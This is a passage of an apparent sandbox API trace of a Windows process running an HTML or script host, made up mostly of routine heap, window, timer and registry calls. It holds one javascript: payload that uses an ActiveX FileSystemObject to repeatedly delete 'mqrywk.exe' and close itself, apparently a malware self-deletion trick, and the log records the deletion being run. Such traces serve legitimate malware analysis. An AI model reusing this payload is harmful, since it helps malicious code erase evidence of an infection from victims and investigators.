lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.406] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.406] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.406] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.406] GetCurrentThreadId () returned 0x10c [0033.406] GetCurrentThreadId () returned 0x10c [0033.406] GetCurrentThreadId () returned 0x10c [0033.407] ScreenToClient (in: hWnd=0x30266, lpPoint=0x40f520 | out: lpPoint=0x40f520) returned 1 [0033.408] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x30) returned 0x76d920 [0033.408] GetCurrentThreadId () returned 0x10c [0033.408] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76d920 | out: hHeap=0x750000) returned 1 [0033.408] GetCurrentThreadId () returned 0x10c [0033.408] GetFocus () returned 0x30266 [0033.408] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x50) returned 0x78f9f8 [0033.408] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.408] ScreenToClient (in: hWnd=0x30266, lpPoint=0x40f550 | out: lpPoint=0x40f550) returned 1 [0033.408] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x30) returned 0x76d920 [0033.409] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76d920 | out: hHeap=0x750000) returned 1 [0033.409] ScreenToClient (in: hWnd=0x30266, lpPoint=0x40f538 | out: lpPoint=0x40f538) returned 1 [0033.409] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x30) returned 0x76d920 [0033.409] GetCurrentThreadId () returned 0x10c [0033.409] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76d920 | out: hHeap=0x750000) returned 1 [0033.409] GetCurrentThreadId () returned 0x10c [0033.409] IsWinEventHookInstalled (event=0x8005) returned 0 [0033.409] StrCmpICW (pszStr1="about:blank", pszStr2="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);") returned -9 [0033.409] StrCmpICW (pszStr1="about:blank", pszStr2="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);") returned -9 [0033.409] GetCurrentThreadId () returned 0x10c [0033.409] GetCurrentThreadId () returned 0x10c [0033.409] GetCurrentThreadId () returned 0x10c [0033.409] GetCurrentThreadId () returned 0x10c [0033.410] ScreenToClient (in: hWnd=0x30266, lpPoint=0x40fa78 | out: lpPoint=0x40fa78) returned 1 [0033.410] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x30) returned 0x76d920 [0033.410] GetCurrentThreadId () returned 0x10c [0033.410] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76d920 | out: hHeap=0x750000) returned 1 [0033.410] GetCurrentThreadId () returned 0x10c [0033.410] GetCurrentThreadId () returned 0x10c [0033.410] GetFocus () returned 0x30266 [0033.410] GetCurrentThreadId () returned 0x10c [0033.410] ScreenToClient (in: hWnd=0x30266, lpPoint=0x40fa38 | out: lpPoint=0x40fa38) returned 1 [0033.410] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x30) returned 0x76d920 [0033.411] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76d920 | out: hHeap=0x750000) returned 1 [0033.411] ScreenToClient (in: hWnd=0x30266, lpPoint=0x40fa18 | out: lpPoint=0x40fa18) returned 1 [0033.411] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x30) returned 0x76d920 [0033.411] GetCurrentThreadId () returned 0x10c [0033.411] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76d920 | out: hHeap=0x750000) returned 1 [0033.411] GetCurrentThreadId () returned 0x10c [0033.411] IsWinEventHookInstalled (event=0x8005) returned 0 [0033.411] GetCurrentThreadId () returned 0x10c [0033.411] GetMessageW (in: lpMsg=0x40fd4c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x40fd4c) returned 1 [0033.411] TranslateMessage (lpMsg=0x40fd4c) returned 0 [0033.411] DispatchMessageW (lpMsg=0x40fd4c) returned 0x0 [0033.411] GetWindowLongW (hWnd=0x30266, nIndex=-21) returned 7880592 [0033.413] ScreenToClient (in: hWnd=0x30266, lpPoint=0x40faf8 | out: lpPoint=0x40faf8) returned 1 [0033.413] GetMessageTime () returned 164113 [0033.413] GetMessagePos () returned 0xad0354 [0033.413] GetCapture () returned 0x0 [0033.413] IntersectRect (in: lprcDst=0x40f4e8, lprcSrc1=0x40f4e8, lprcSrc2=0x40f578 | out: lprcDst=0x40f4e8) returned 1 [0033.413] IntersectRect (in: lprcDst=0x40f2a4, lprcSrc1=0x40f2a4, lprcSrc2=0x40f274 | out: lprcDst=0x40f2a4) returned 1 [0033.413] IntersectRect (in: lprcDst=0x40f588, lprcSrc1=0x40f588, lprcSrc2=0x40f294 | out: lprcDst=0x40f588) returned 1 [0033.413] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.413] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x24) returned 0x793ae8 [0033.413] IntersectRect (in: lprcDst=0x40f588, lprcSrc1=0x40f588, lprcSrc2=0x40f2b4 | out: lprcDst=0x40f588) returned 1 [0033.413] IntersectRect (in: lprcDst=0x40f078, lprcSrc1=0x40f078, lprcSrc2=0x40f578 | out: lprcDst=0x40f078) returned 1 [0033.413] IntersectRect (in: lprcDst=0x40f078, lprcSrc1=0x40f078, lprcSrc2=0x40f578 | out: lprcDst=0x40f078) returned 1 [0033.413] IntersectRect (in: lprcDst=0x40ee34, lprcSrc1=0x40ee34, lprcSrc2=0x40ee04 | out: lprcDst=0x40ee34) returned 1 [0033.413] IntersectRect (in: lprcDst=0x40f588, lprcSrc1=0x40f588, lprcSrc2=0x40ee24 | out: lprcDst=0x40f588) returned 1 [0033.413] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.413] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x24) returned 0x793b18 [0033.413] IntersectRect (in: lprcDst=0x40ec70, lprcSrc1=0x40ec70, lprcSrc2=0x40f578 | out: lprcDst=0x40ec70) returned 1 [0033.414] IntersectRect (in: lprcDst=0x40f588, lprcSrc1=0x40f588, lprcSrc2=0x40ee44 | out: lprcDst=0x40f588) returned 1 [0033.414] IntersectRect (in: lprcDst=0x40ec08, lprcSrc1=0x40ec08, lprcSrc2=0x40f578 | out: lprcDst=0x40ec08) returned 1 [0033.414] IntersectRect (in: lprcDst=0x40ec08, lprcSrc1=0x40ec08, lprcSrc2=0x40f578 | out: lprcDst=0x40ec08) returned 1 [0033.415] IntersectRect (in: lprcDst=0x40ea4c, lprcSrc1=0x40ea4c, lprcSrc2=0x40e8e8 | out: lprcDst=0x40ea4c) returned 1 [0033.415] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.415] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x24) returned 0x793b48 [0033.415] IntersectRect (in: lprcDst=0x40f588, lprcSrc1=0x40f588, lprcSrc2=0x40ea3c | out: lprcDst=0x40f588) returned 1 [0033.415] IntersectRect (in: lprcDst=0x40e8f8, lprcSrc1=0x40e8f8, lprcSrc2=0x40f578 | out: lprcDst=0x40e8f8) returned 1 [0033.415] IntersectRect (in: lprcDst=0x40f588, lprcSrc1=0x40f588, lprcSrc2=0x40ea5c | out: lprcDst=0x40f588) returned 1 [0033.438] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x793b48 | out: hHeap=0x750000) returned 1 [0033.438] IntersectRect (in: lprcDst=0x40ecc8, lprcSrc1=0x40ecc8, lprcSrc2=0x40f578 | out: lprcDst=0x40ecc8) returned 1 [0033.439] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x793b18 | out: hHeap=0x750000) returned 1 [0033.439] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x793ae8 | out: hHeap=0x750000) returned 1 [0033.439] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.439] SetTimer (hWnd=0x3026c, nIDEvent=0x2001, uElapse=0x12c, lpTimerFunc=0x0) returned 0x2001 [0033.440] PtInRect (lprc=0x40f850, pt=0x2e8) returned 1 [0033.440] PtInRect (lprc=0x40f6f4, pt=0x1220a) returned 1 [0033.441] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0033.441] GetCursor () returned 0x10007 [0033.441] ShowCursor (bShow=0) returned -1 [0033.441] SetCursor (hCursor=0x10003) returned 0x10007 [0033.441] ShowCursor (bShow=1) returned 0 [0033.441] GetCurrentThreadId () returned 0x10c [0033.441] GetMessageW (in: lpMsg=0x40fd4c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x40fd4c) returned 1 [0033.441] TranslateMessage (lpMsg=0x40fd4c) returned 0 [0033.441] DispatchMessageW (lpMsg=0x40fd4c) returned 0x0 [0033.441] GetWindowLongW (hWnd=0x30266, nIndex=-21) returned 7880592 [0033.441] KillTimer (hWnd=0x30266, uIDEvent=0x1000) returned 1 [0033.441] GetCurrentThreadId () returned 0x10c [0033.441] GetMessageW (in: lpMsg=0x40fd4c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x40fd4c) returned 1 [0033.441] TranslateMessage (lpMsg=0x40fd4c) returned 0 [0033.441] DispatchMessageW (lpMsg=0x40fd4c) returned 0x0 [0033.441] GetMessageW (in: lpMsg=0x40fd4c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x40fd4c) returned 1 [0033.441] TranslateMessage (lpMsg=0x40fd4c) returned 0 [0033.441] DispatchMessageW (lpMsg=0x40fd4c) returned 0x0 [0033.441] GetMessageW (in: lpMsg=0x40fd4c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x40fd4c) returned 1 [0033.441] TranslateMessage (lpMsg=0x40fd4c) returned 0 [0033.441] DispatchMessageW (lpMsg=0x40fd4c) returned 0x0 [0033.441] KillTimer (hWnd=0x3026c, uIDEvent=0x2000) returned 1 [0033.442] ISystemDebugEventFire:IsActive (This=0x79dea8) returned 0x1 [0033.442] CoGetObjectContext (in: riid=0x73f10270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x40f900 | out: ppv=0x40f900*=0x777298) returned 0x0 [0033.442] IUnknown:Release (This=0x777298) returned 0x1 [0033.442] GetCurrentThreadId () returned 0x10c [0033.442] GetCurrentThreadId () returned 0x10c [0033.442] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x29d2fc0, riid=0x73f10bb4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x40f57c*="DeleteFile", cNames=0x1, lcid=0x409, rgDispId=0x40f5a0 | out: rgDispId=0x40f5a0*=1200) returned 0x0 [0033.442] FileSystemObject:IUnknown:AddRef (This=0x29d2fc0) returned 0x2 [0033.442] FileSystemObject:IDispatch:Invoke (in: This=0x29d2fc0, dispIdMember=1200, riid=0x73f10bb4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x40f544*(rgvarg=([0]=0x40f4e8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="mqrywk.exe", varVal2=0x1c13d0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x40f778, pExcepInfo=0x40f558, puArgErr=0x40f554 | out: pDispParams=0x40f544*(rgvarg=([0]=0x40f4e8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="mqrywk.exe", varVal2=0x1c13d0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x40f778*(varType=0x0, wReserved1=0x0, wReserved2=0xf7d8, wReserved3=0x40, varVal1=0x0, varVal2=0x0), pExcepInfo=0x40f558*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x40f554*=0x29d2fc0) returned 0x0 [0033.446] FileSystemObject:IUnknown:Release (This=0x29d2fc0) returned 0x1 [0033.446] GetCurrentThreadId () returned 0x10c [0033.446] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0033.446] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0033.446] ??2@YAPAXI@Z () returned 0x29d11b0 [0033.446] GetCurrentThreadId () returned 0x10c [0033.446] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0033.449] PostMessageW (hWnd=0x30270, Msg=0x10, wParam=0x0, lParam=0x0) returned 1 [0033.450] GetCurrentThreadId () returned 0x10c [0033.450] GetCurrentThreadId () returned 0x10c [0033.450] ISystemDebugEventFire:IsActive (This=0x79dea8) returned 0x1 [0033.450] ??3@YAXPAX@Z () returned 0x1 [0033.450] GetCurrentThreadId () returned 0x10c [0033.450] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b3850 [0033.450] SetTimer (hWnd=0x3026c, nIDEvent=0x2002, uElapse=0xa, lpTimerFunc=0x0) returned 0x2002 [0033.450] GetMessageW (in: lpMsg=0x40fd4c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x40fd4c) returned 1 [0033.450] TranslateMessage (lpMsg=0x40fd4c) returned 0 [0033.450] DispatchMessageW (lpMsg=0x40fd4c) returned 0x0 [0033.450] ScreenToClient (in: hWnd=0x30266, lpPoint=0x40f648 | out: lpPoint=0x40f648) returned 1 [0033.451] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x30) returned 0x76d920 [0033.451] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76d920 | out: hHeap=0x750000) returned 1 [0033.451] ScreenToClient (in: hWnd=0x30266, lpPoint=0x40f4d8 | out: lpPoint=0x40f4d8) returned 1 [0033.451] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x30) returned 0x76d920 [0033.451] GetCurrentThreadId () returned 0x10c [0033.451] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76d920 | out: hHeap=0x750000) returned 1 [0033.451] GetCurrentThreadId () returned 0x10c [0033.451] GetCurrentThreadId () returned 0x10c [0033.451] DestroyWindow (hWnd=0x30270) returned 1 [0033.452] NtdllDefWindowProc_W () returned 0x0 [0033.458] NtdllDefWindowProc_W () returned 0x1 [0033.461] NtdllDefWindowProc_W () returned 0x0 [0033.461] NtdllDefWindowProc_W () returned 0x0 [0033.461] NtdllDefWindowProc_W () returned 0x0 [0033.461] GetWindowLongW (hWnd=0x30266, nIndex=-21) returned 7880592 [0033.461] GetParent (hWnd=0x30266) returned 0x30270 [0033.461] GetParent (hWnd=0x30270) returned 0x50134 [0033.461] GetParent (hWnd=0x50134) returned 0x0 [0033.461] PostMessageW (hWnd=0x30266, Msg=0x491, wParam=0x0, lParam=0x0) returned 1 [0033.461] GetMessageTime () returned 164191 [0033.461] GetMessagePos () returned 0xad0354 [0033.461] ScreenToClient (in: hWnd=0x30266, lpPoint=0x40f6a8 | out: lpPoint=0x40f6a8) returned 1 [0033.462] ScreenToClient (in: hWnd=0x30266, lpPoint=0x40f6a8 | out: lpPoint=0x40f6a8) returned 1 [0033.462] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x30) returned 0x76d920 [0033.462] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x28) returned 0x793ae8 [0033.462] GetCurrentThreadId () returned 0x10c [0033.462] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76d920 | out: hHeap=0x750000) returned 1 [0033.462] GetCurrentThreadId () returned 0x10c [0033.462] GetCurrentThreadId () returned 0x10c [0033.462] PostMessageW (hWnd=0x3026c, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0033.462] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x793ae8 | out: hHeap=0x750000) returned 1 [0033.463] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x79a170, hWnd=0x30266, msg=0x8, wParam=0x0, lParam=0x0, plResult=0x40f8e4 | out: plResult=0x40f8e4) returned 0x1 [0033.463] NtdllDefWindowProc_W () returned 0x0 [0033.463] GetCurrentThreadId () returned 0x10c [0033.463] GetWindowLongW (hWnd=0x30266, nIndex=-21) returned 7880592 [0033.463] GetMessageTime () returned 164191 [0033.463] GetMessagePos () returned 0xad0354 [0033.463] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x79a170, hWnd=0x30266, msg=0x281, wParam=0x0, lParam=0xc000000f, plResult=0x40f4ec | out: plResult=0x40f4ec) returned 0x0 [0033.463] GetWindowLongW (hWnd=0x30266, nIndex=-21) returned 7880592 [0033.464] GetMessageTime () returned 164191 [0033.464] GetMessagePos () returned 0xad0354 [0033.465] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xf8) returned 0x7ba7b8 [0033.466] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x79a170, hWnd=0x30266, msg=0x282, wParam=0x1, lParam=0x0, plResult=0x40ef1c | out: plResult=0x40ef1c) returned 0x0 [0033.466] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7ba7b8 | out: hHeap=0x750000) returned 1 [0033.466] SetTimer (hWnd=0x30266, nIDEvent=0x1000, uElapse=0x64, lpTimerFunc=0x0) returned 0x1000 [0033.466] GetCurrentThreadId () returned 0x10c [0033.466] GetCurrentThreadId () returned 0x10c [0033.466] PostQuitMessage (nExitCode=0) [0033.466] GetWindowLongW (hWnd=0x30266, nIndex=-21) returned 7880592 [0033.466] RevokeDragDrop (hwnd=0x30266) returned 0x0 [0033.466] GetCurrentThreadId () returned 0x10c [0033.466] GetWindowLongW (hWnd=0x30266, nIndex=-21) returned 7880592 [0033.466] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x79a170, hWnd=0x30266, msg=0x82, wParam=0x0, lParam=0x0, plResult=0x40fa60 | out: plResult=0x40fa60) returned 0x1 [0033.466] NtdllDefWindowProc_W () returned 0x0 [0033.466] GetCurrentThreadId () returned 0x10c [0033.466] SetWindowLongW (hWnd=0x30266, nIndex=-21, dwNewLong=0) returned 7880592 [0033.467] NtdllDefWindowProc_W () returned 0x0 [0033.467] GetMessageW (in: lpMsg=0x40fd4c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x40fd4c) returned 1 [0033.467] TranslateMessage (lpMsg=0x40fd4c) returned 0 [0033.467] DispatchMessageW (lpMsg=0x40fd4c) returned 0x0 [0033.467] GetCurrentThreadId () returned 0x10c [0033.467] ScreenToClient (in: hWnd=0x0, lpPoint=0x40fa38 | out: lpPoint=0x40fa38) returned 0 [0033.467] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x30) returned 0x76d920 [0033.468] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76d920 | out: hHeap=0x750000) returned 1 [0033.468] ScreenToClient (in: hWnd=0x0, lpPoint=0x40fa18 | out: lpPoint=0x40fa18) returned 0 [0033.468] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x30) returned 0x76d920 [0033.468] GetCurrentThreadId () returned 0x10c [0033.468] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76d920 | out: hHeap=0x750000) returned 1 [0033.468] GetCurrentThreadId () returned 0x10c [0033.468] IsWinEventHookInstalled (event=0x8005) returned 0 [0033.468] GetCurrentThreadId () returned 0x10c [0033.468] GetMessageW (in: lpMsg=0x40fd4c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x40fd4c) returned 0 [0033.468] PostMessageW (hWnd=0x3026c, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0033.468] GetCurrentThreadId () returned 0x10c [0033.470] KillTimer (hWnd=0x3026c, uIDEvent=0x2002) returned 1 [0033.470] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7ac6d0 | out: hHeap=0x750000) returned 1 [0033.470] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7b3850 | out: hHeap=0x750000) returned 1 [0033.470] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.470] ScreenToClient (in: hWnd=0x0, lpPoint=0x40faf8 | out: lpPoint=0x40faf8) returned 0 [0033.470] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x30) returned 0x76d920 [0033.471] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76d920 | out: hHeap=0x750000) returned 1 [0033.471] ScreenToClient (in: hWnd=0x0, lpPoint=0x40fae0 | out: lpPoint=0x40fae0) returned 0 [0033.471] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x30) returned 0x76d920 [0033.471] GetCurrentThreadId () returned 0x10c [0033.471] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76d920 | out: hHeap=0x750000) returned 1 [0033.471] GetCurrentThreadId () returned 0x10c [0033.471] IsWinEventHookInstalled (event=0x8005) returned 0 [0033.471] GetCurrentThreadId () returned 0x10c [0033.471] CActiveIMMAppEx_Trident:IActiveIMMApp:Deactivate (This=0x79a170) returned 0x0 [0033.471] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x761b38 | out: hHeap=0x750000) returned 1 [0033.471] KillTimer (hWnd=0x3026c, uIDEvent=0x2001) returned 1 [0033.471] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x77b608 | out: hHeap=0x750000) returned 1 [0033.471] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76daa8 | out: hHeap=0x750000) returned 1 [0033.471] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78cd88 | out: hHeap=0x750000) returned 1 [0033.471] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.471] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.471] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.471] IntersectRect (in: lprcDst=0x40fb60, lprcSrc1=0x40fb60, lprcSrc2=0x40fbe8 | out: lprcDst=0x40fb60) returned 1 [0033.471] IntersectRect (in: lprcDst=0x40fbf8, lprcSrc1=0x40fbf8, lprcSrc2=0x40fb60 | out: lprcDst=0x40fbf8) returned 1 [0033.472] IntersectRect (in: lprcDst=0x40fc50, lprcSrc1=0x40fc50, lprcSrc2=0x40fbe8 | out: lprcDst=0x40fc50) returned 1 [0033.472] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.472] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.472] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.472] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.472] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.472] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x799af0 | out: hHeap=0x750000) returned 1 [0033.472] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.472] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x79ad58 | out: hHeap=0x750000) returned 1 [0033.472] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.472] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x79aeb0 | out: hHeap=0x750000) returned 1 [0033.472] GetCurrentThreadId () returned 0x10c [0033.472] GetCurrentThreadId () returned 0x10c [0033.472] GetCurrentThreadId () returned 0x10c [0033.472] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x793ab8 | out: hHeap=0x750000) returned 1 [0033.472] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.472] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.472] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.472] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.472] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7929b0 | out: hHeap=0x750000) returned 1 [0033.472] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78f948 | out: hHeap=0x750000) returned 1 [0033.472] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40fc6c | out: phkResult=0x40fc6c*=0x270) returned 0x0 [0033.472] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40fc70 | out: phkResult=0x40fc70*=0x274) returned 0x0 [0033.473] RegOpenKeyExW (in: hKey=0x274, lpSubKey="FEATURE_ADDITIONAL_IE8_MEMORY_CLEANUP", ulOptions=0x0, samDesired=0x1, phkResult=0x40fc2c | out: phkResult=0x40fc2c*=0x0) returned 0x2 [0033.473] RegOpenKeyExW (in: hKey=0x270, lpSubKey="FEATURE_ADDITIONAL_IE8_MEMORY_CLEANUP", ulOptions=0x0, samDesired=0x1, phkResult=0x40fc2c | out: phkResult=0x40fc2c*=0x0) returned 0x2 [0033.473] RegCloseKey (hKey=0x0) returned 0x6 [0033.473] RegCloseKey (hKey=0x0) returned 0x6 [0033.473] RegCloseKey (hKey=0x270) returned 0x0 [0033.473] RegCloseKey (hKey=0x274) returned 0x0 [0033.473] GetCurrentThreadId () returned 0x10c [0033.473] GetCurrentThreadId () returned 0x10c [0033.473] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.473] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7a6768 | out: hHeap=0x750000) returned 1 [0033.473] GetCurrentThreadId () returned 0x10c [0033.473] GetCurrentThreadId () returned 0x10c [0033.473] GetCurrentThreadId () returned 0x10c [0033.473] IUnknown:Release (This=0x79dea8) returned 0x1 [0033.473] GetCurrentThreadId () returned 0x10c [0033.473] GetCurrentThreadId () returned 0x10c [0033.473] GetCurrentThreadId () returned 0x10c [0033.474] CoGetObjectContext (in: riid=0x73f10270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x40fc60 | out: ppv=0x40fc60*=0x777298) returned 0x0 [0033.474] ??3@YAXPAX@Z () returned 0x1 [0033.475] ??3@YAXPAX@Z () returned 0x1 [0033.475] ??3@YAXPAX@Z () returned 0x1 [0033.475] free (_Block=0x29d1058) [0033.475] free (_Block=0x29d1280) [0033.475] free (_Block=0x29d10a0) [0033.475] ??3@YAXPAX@Z () returned 0x1 [0033.475] ??3@YAXPAX@Z () returned 0x1 [0033.475] free (_Block=0x29d2350) [0033.475] ??3@YAXPAX@Z () returned 0x1 [0033.475] ??3@YAXPAX@Z () returned 0x1 [0033.475] ??3@YAXPAX@Z () returned 0x1 [0033.475] ??3@YAXPAX@Z () returned 0x1 [0033.475] ??3@YAXPAX@Z () returned 0x1 [0033.475] StdGlobalInterfaceTable:IGlobalInterfaceTable:RevokeInterfaceFromGlobal (This=0x76406460, dwCookie=0x100) returned 0x0 [0033.475] StdGlobalInterfaceTable:IUnknown:Release (This=0x1cffa0) returned 0x1 [0033.476] IUnknown:Release (This=0x777298) returned 0x1 [0033.476] ??3@YAXPAX@Z () returned 0x1 [0033.476] IUnknown:Release (This=0x777298) returned 0x0 [0033.476] 